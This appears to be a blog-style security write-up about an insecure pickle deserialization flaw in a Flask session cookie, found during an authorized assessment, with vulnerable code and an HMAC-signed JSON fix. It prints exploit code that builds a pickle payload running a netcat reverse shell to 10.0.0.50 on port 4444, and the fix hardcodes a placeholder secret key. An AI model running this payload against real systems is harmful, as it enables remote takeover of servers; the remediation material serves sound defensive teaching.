Smash Stories: Slaying a Silent RCE via Insecure Deserialization
The Bug I Smashed
During an authorized security assessment of a custom Python/Flask microservice, I discovered a chaotic, high-severity vulnerability masquerading as a harmless caching mechanism. The application was storing user session preferences in a base64-encoded cookie.
The problem? The backend was deserializing this cookie using Python's inherently insecure pickle library without any integrity checks. This allowed arbitrary object instantiation, creating a direct path to full Remote Code Execution (RCE) on the host server.
The Investigation and Exploit
When reviewing the HTTP traffic, I noticed the session_prefs cookie. Decoding it revealed binary data characteristic of Python pickles. To demonstrate the critical impact, I crafted a payload to trigger a reverse shell upon deserialization.
Here is the exact exploit code used to generate the malicious serialized object:
Python
import pickle
import base64
import os
class RCE(object):
def reduce(self):
# Standard reverse shell payload
cmd = ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.50 4444 >/tmp/f")
return (os.system, (cmd,))
Generate the malicious payload
malicious_pickle = pickle.dumps(RCE())
encoded_payload = base64.b64encode(malicious_pickle).decode()
print(f"Payload to inject into cookie:\n{encoded_payload}")
Injecting this base64 string back into the session_prefs cookie and sending the request to the server immediately triggered the reverse shell on my listener. The server blindly executed the instructions during the deserialization phase.
How I Fixed It
To fundamentally fix the vulnerability, the serialization mechanism had to be completely replaced. The pickle module should never be used to unpickle data from untrusted sources.
I rewrote the session handling logic to use safe json serialization and implemented HMAC signing to ensure the integrity of the cookie data, preventing any client-side tampering.
Before (Vulnerable Code):
Python
import pickle
import base64
from flask import request
@app.route('/dashboard')
def dashboard():
prefs_cookie = request.cookies.get('session_prefs')
if prefs_cookie:
# DANGER: Insecure deserialization
prefs = pickle.loads(base64.b64decode(prefs_cookie))
else:
prefs = default_prefs
return render_template('dashboard.html', prefs=prefs)
After (Secured Code):
Python
import json
import base64
import hmac
import hashlib
from flask import request
SECRET_KEY = b'super_secret_key_loaded_from_env'
def verify_and_decode(cookie_value):
try:
# Expecting format: base64(json_data).signature
encoded_data, signature = cookie_value.split('.')
expected_sig = hmac.new(SECRET_KEY, encoded_data.encode(), hashlib.sha256).hexdigest()
# Verify the signature before deserializing
if hmac.compare_digest(expected_sig, signature):
return json.loads(base64.b64decode(encoded_data).decode())
return None
except Exception:
return None
@app.route('/dashboard')
def dashboard():
prefs_cookie = request.cookies.get('session_prefs')
prefs = verify_and_decode(prefs_cookie) if prefs_cookie else default_prefs
return render_template('dashboard.html', prefs=prefs)
By shifting away from native binary serialization to a standard JSON format fortified with HMAC signatures, the RCE vector was completely eliminated. The application is now significantly more resilient against tampering, proving that sometimes the loudest bugs are hidden in the quietest, most mundane features like session cookies.
Top comments (0)